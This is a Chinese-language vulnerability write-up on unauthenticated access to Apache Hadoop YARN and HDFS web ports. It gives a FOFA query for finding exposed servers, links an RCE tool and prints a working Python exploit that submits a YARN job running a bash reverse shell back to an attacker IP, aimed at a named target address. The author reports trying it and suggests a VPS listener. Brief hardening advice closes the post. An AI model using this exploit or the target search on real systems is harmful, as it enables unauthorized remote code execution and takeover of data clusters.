漏洞描述
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览、命令执行等操作,危害极大。
- 版本:所有版本;
- 级别:高危;
- 类别:未授权漏洞
漏洞应用的端口
- http://25.215.xxx.xxx:19888/
- http://25.215.xxx.xxx:50070/
- http://25.215.xxx.xxx:50090/
- http://25.215.xxx.xxx:50075/
- http://25.215.xxx.xxx:8088/cluster
FOFA语法搜索
app="APACHE-hadoop-YARN"
漏洞复现
工具
YarnRpcRCE:https://github.com/cckuailong/YarnRpcRCE
EXP
#!/usr/bin/env python
#-- coding:UTF-8 --
import requests
target = 'http://123.58.224.8:32438/' #目标地址
lhost = '10.1.1.1' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
PS:我尝试了一下,EXP执行成功了,但是监听的主机没有成功上线;可以利用VPS来进行监听,上线的概率可能会大一点。
修复
- 将默认认证方法改为KerBeros认证;
- 在防火墙限制可信任IP才可访问50070端口;
- 开启身份验证 ,防止未经授权用户访问;